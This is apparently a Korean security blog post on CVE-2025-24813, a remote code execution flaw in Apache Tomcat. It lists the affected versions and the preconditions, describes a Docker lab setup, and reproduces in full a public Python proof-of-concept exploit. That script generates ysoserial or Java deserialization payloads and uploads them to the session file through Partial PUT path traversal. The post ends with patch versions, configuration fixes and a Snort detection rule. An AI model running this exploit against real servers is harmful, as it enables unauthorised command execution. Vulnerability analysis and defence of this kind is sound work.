1. CVE-2025-24813
- Apache Tomcat에서 발생하는 원격 코드 실행 취약점 (CVSS : 9.8)
> Partial PUT 기능과 기본 서블릿에 대한 쓰기 권한이 결합되어 발생
> 공격자는 취약점을 악용해 원격 코드 실행, 정보 유출 및 손상 등의 악성 행위를 수행할 수 있음
- 영향받는 버전
> Apache Tomcat 9.0.0.M1 ~ 9.0.98
> Apache Tomcat 10.1.0-M1 ~ 10.1.34
> Apache Tomcat 11.0.0-M1 ~ 11.0.2
- 취약점을 악용하기 위한 4가지의 전제 조건
> 다음 4가지 조건 모두를 만족해야 취약점이 발생
① 쓰기 가능한 Default Servlet
> Default 비활성화
② 부분 PUT (Partial PUT) 지원
> Default 활성화
③ 파일 기반 세션 지속성
> 기본 위치에서 파일 기반 세션 지속성 사용
④ 취약한 역직렬화 라이브러리 사용
> 역직렬화에 취약한 라이브러리 포함
2. PoC
- docker를 활용해 취약한 tomcat 환경 구축 [2][3]
> tomcat 설정 변경
구분 | 설명 |
conf/web.xml | - Default Servlet에 readonly 파라미터 추가 : 쓰기 가능하도록 설정![]() |
conf/context.xml | - 파일 기반 세션 지속성 활성화![]() ※ 참고 : 일부 분석 보고서에서는 다음과 같이 변경한 것으로 확인 [4] ![]() |
※ docker 실행 중 버전 오류가 발생해 docker-compose.yml 내용 변경 (version 3.8 -> 3,3)
- 공개된 PoC를 활용해 공격 [5]
① 대상 서버로 PUT 요청을 보내 서버가 쓰기 가능한지 확인
> check_writable_servlet()를 사용하며 200 또는 201 응답을 반환할 경우 쓰기 가능한 것으로 판단
※ 200 : 서버가 요청을 정상적으로 처리하였음을 나타냄
※ 201 : 서버가 요청을 정상적으로 처리하였고, 자원이 생성되었음을 나타냄
② 쓰기 가능한 경우 역직렬화 페이로드 생성
③ 대상 서버에 Partial PUT 요청을 전송
> upload_and_verify_payload()를 사용하며, 409 응답일 경우 대상 URL로 GET 요청을 보내며 500 응답을 받은 경우 성공한 것으로 판단
※ 409 : 서버의 현재 상태와 요청이 충돌했음을 나타냄
※ 500 : 서버가 사용자의 요청을 처리하는 과정에서 예상하지 못한 오류로 요청을 완료하지 못함을 나타냄
④ 업로드 파일 삭제
> remove_file()
import argparse
import os
import re
import requests
import subprocess
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
BANNER = """
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███╗ ███╗ ██████╗ ██████╗████████╗ ██████╗ ██████╗███████╗
██╔════╝██║ ██║██╔────╝ ╚════██╗██╔══██╗██╔══██╗██╔══██╗ ██╔══██╗██╔══██╗████╗ ████║██╔════╝ ██╔══██╗╚══██╔══╝ ██╔══██╗██╔════╝██╔════╝
██║ ██║ ██║█████╗█████╗█████╔╝██████╔╝██████╔╝██║ ██║ ██████╔╝██████╔╝██╔████╔██║██║ ███╗██████╔╝ ██║█████╗██████╔╝██║ █████╗
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔══██╗██╔══██╗██╔══██╗██║ ██║ ██╔══██╗██╔══██╗██║╚██╔╝██║██║ ██║██╔══██╗ ██║╚════╝██╔══██╗██║ ██╔══╝
╚██████╗ ╚████╔╝ ███████╗ ██████╔╝██║ ██║██║ ██║██████╔╝ ██████╔╝██║ ██║██║ ╚═╝ ██║╚██████╔╝██║ ██║ ██║ ██║ ██║╚██████╗███████╗
╚═════╝ ╚═══╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚══════╝
"""
def remove_file(file_path):
try:
os.remove(file_path)
print(f"[+] Temporary file removed: {file_path}")
except OSError as e:
print(f"[-] Error removing file: {str(e)}")
def check_writable_servlet(target_url, host, port, verify_ssl=True):
check_file = f"{target_url}/check.txt"
try:
response = requests.put(
check_file,
headers={
"Host": f"{host}:{port}",
"Content-Length": "10000",
"Content-Range": "bytes 0-1000/1200"
},
data="testdata",
timeout=10,
verify=verify_ssl
)
if response.status_code in [200, 201]:
print(f"[+] Server is writable via PUT: {check_file}")
return True
else:
print(f"[-] Server is not writable (HTTP {response.status_code})")
return False
except requests.RequestException as e:
print(f"[-] Error during check: {str(e)}")
return False
def generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file):
if not os.path.exists(ysoserial_path):
print(f"[-] Error: {ysoserial_path} not found.")
sys.exit(1)
try:
print(f"[*] Generating ysoserial payload for command: {command}")
cmd = ["java", "-jar", ysoserial_path, gadget, f"cmd.exe /c {command}"]
with open(payload_file, "wb") as f:
subprocess.run(cmd, stdout=f, check=True)
print(f"[+] Payload generated successfully: {payload_file}")
return payload_file
except (subprocess.CalledProcessError, FileNotFoundError) as e:
print(f"[-] Error generating payload: {str(e)}")
sys.exit(1)
def generate_java_payload(command, payload_file):
payload_java = f"""
import java.io.IOException;
import java.io.PrintWriter;
public class Exploit {{
static {{
try {{
String cmd = "{command}";
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
String line;
StringBuilder output = new StringBuilder();
while ((line = reader.readLine()) != null) {{
output.append(line).append("\\n");
}}
PrintWriter out = new PrintWriter(System.out);
out.println(output.toString());
out.flush();
}} catch (IOException e) {{
e.printStackTrace();
}}
}}
}}
"""
try:
print(f"[*] Generating Java payload for command: {command}")
with open("Exploit.java", "w") as f:
f.write(payload_java)
subprocess.run(["javac", "Exploit.java"], check=True)
subprocess.run(["jar", "cfe", payload_file, "Exploit", "Exploit.class"], check=True)
remove_file("Exploit.java")
remove_file("Exploit.class")
print(f"[+] Java payload generated successfully: {payload_file}")
return payload_file
except subprocess.CalledProcessError as e:
print(f"[-] Error generating Java payload: {str(e)}")
sys.exit(1)
def upload_and_verify_payload(target_url, host, port, session_id, payload_file, verify_ssl=True):
exploit_url = f"{target_url}/uploads/../sessions/{session_id}.session"
try:
with open(payload_file, "rb") as f:
put_response = requests.put(
exploit_url,
headers={
"Host": f"{host}:{port}",
"Content-Length": "10000",
"Content-Range": "bytes 0-1000/1200"
},
data=f.read(),
timeout=10,
verify=verify_ssl
)
if put_response.status_code == 409:
print(f"[+] Payload uploaded with status 409 (Conflict): {exploit_url}")
get_response = requests.get(
target_url,
headers={"Cookie": "JSESSIONID=absholi7ly"},
timeout=10,
verify=verify_ssl
)
if get_response.status_code == 500:
print(f"[+] Exploit succeeded! Server returned 500 after deserialization.")
return True
else:
print(f"[-] Exploit failed. GET request returned HTTP {get_response.status_code}")
return False
else:
print(f"[-] Payload upload failed: {exploit_url} (HTTP {put_response.status_code})")
return False
except requests.RequestException as e:
print(f"[-] Error during upload/verification: {str(e)}")
return False
except FileNotFoundError:
print(f"[-] Payload file not found: {payload_file}")
return False
def get_session_id(target_url, verify_ssl=True):
try:
response = requests.get(f"{target_url}/index.jsp", timeout=10, verify=verify_ssl)
if "JSESSIONID" in response.cookies:
return response.cookies["JSESSIONID"]
session_id = re.search(r"Session ID: (\w+)", response.text)
if session_id:
return session_id.group(1)
else:
print(f"[-] Session ID not found in response. Using default session ID: absholi7ly")
return "absholi7ly"
except requests.RequestException as e:
print(f"[-] Error getting session ID: {str(e)}")
sys.exit(1)
def check_target(target_url, command, ysoserial_path, gadget, payload_type, verify_ssl=True):
host = target_url.split("://")[1].split(":")[0] if "://" in target_url else target_url.split(":")[0]
port = target_url.split(":")[-1] if ":" in target_url.split("://")[-1] else "80" if "http://" in target_url else "443"
session_id = get_session_id(target_url, verify_ssl)
print(f"[*] Session ID: {session_id}")
if check_writable_servlet(target_url, host, port, verify_ssl):
payload_file = "payload.ser"
if payload_type == "ysoserial":
generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file)
elif payload_type == "java":
generate_java_payload(command, payload_file)
else:
print(f"[-] Invalid payload type: {payload_type}")
return
if upload_and_verify_payload(target_url, host, port, session_id, payload_file, verify_ssl):
print(f"[+] Target {target_url} is vulnerable to CVE-2025-24813!")
else:
print(f"[-] Target {target_url} does not appear vulnerable or exploit failed.")
remove_file(payload_file)
def main():
print(BANNER)
parser = argparse.ArgumentParser(description="CVE-2025-24813 Apache Tomcat RCE Exploit")
parser.add_argument("target", help="Target URL (e.g., http://localhost:8081 or https://example.com)")
parser.add_argument("--command", default="calc.exe", help="Command to execute")
parser.add_argument("--ysoserial", default="ysoserial.jar", help="Path to ysoserial.jar")
parser.add_argument("--gadget", default="CommonsCollections6", help="ysoserial gadget chain")
parser.add_argument("--payload_type", choices=["ysoserial", "java"], default="ysoserial", help="Payload type (ysoserial or java)")
parser.add_argument("--no-ssl-verify", action="store_false", help="Disable SSL verification")
args = parser.parse_args()
check_target(args.target, args.command, args.ysoserial, args.gadget, args.payload_type, args.no_ssl_verify)
if __name__ == "__main__":
main()
- PoC 실행 결과 Server is not writable 에러가 발생
> check.txt 파일이 대상 서버에 정상적으로 생성된 것을 확인할 수 있었음
3. 대응방안
- 벤더사 제공 업데이트 적용 [6][7][8][9][10]
제품명 | 영향받는 버전 | 해결 버전 |
Apache Tomcat | Apache Tomcat 9.0.0.M1 ~ 9.0.98 | 9.0.99 |
Apache Tomcat 10.1.0-M1 ~ 10.1.34 | 10.1.35 | |
Apache Tomcat 11.0.0-M1 ~ 11.0.2 | 11.0.3 |
- 쓰기 권한 비활성화 및 부분 PUT 비활성화
> 쓰기 권한 비활성화 : conf/web.xml에서 readonly 매개변수 true 설정
> 부분 PUT 비활성화 : allowPartialPut 매개변수 false 설정
- 탐지룰 적용 [11]
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ET WEB_SPECIFIC_APPS Apache Tomcat Path Equivalence (CVE-2025-24813)"; flow:established,to_server; content:"PUT"; http_method; pcre:"/\x2f[^\x2f\x2e\s]*?\x2e\w+$/U"; content:"Content-Range|3a 20|"; http_header; fast_pattern; pcre:"/^\w+\s(?:(?:\d+|\x2a)?\x2d(?:\d+|\x2a)?|\x2a)\x2f(?:\d+|\x2a)?/R"; reference:url,lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq; reference:cve,2025-24813; classtype:web-application-attack; sid:2060801; rev:1; metadata:affected_product Apache_Tomcat, attack_target Server, created_at 2025_03_12, cve CVE_2025_24813, deployment Perimeter, deployment Internal, confidence High, signature_severity Major, tag Exploit, updated_at 2025_03_12, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application;)
4. 참고
[1] https://nvd.nist.gov/vuln/detail/CVE-2025-24813
[2] https://github.com/charis3306/CVE-2025-24813
[3] https://repo1.maven.org/maven2/org/apache/tomcat/tomcat/9.0.98/
[4] https://attackerkb.com/topics/4GajxQH17l/cve-2025-24813
[5] https://github.com/absholi7ly/POC-CVE-2025-24813
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71687&menuNo=205020
[7] https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq
[8] https://tomcat.apache.org/security-9.html
[9] https://tomcat.apache.org/security-10.html
[10] https://tomcat.apache.org/security-11.html
[11] https://asec.ahnlab.com/ko/86938/
'취약점 > RCE' 카테고리의 다른 글
Kibana 임의 코드 실행 취약점 (CVE-2025-25015) (0) | 2025.03.15 |
---|---|
MonikerLink 취약점 (CVE-2024-21413) (0) | 2025.02.10 |
Cacti 원격 코드 실행 취약점 (CVE-2025-22604) (0) | 2025.01.30 |
NachoVPN 취약점 (CVE-2024-29014, CVE-2024-5921) (0) | 2024.12.06 |
Windows Scripting Engine RCE (CVE-2024-38178) (1) | 2024.10.27 |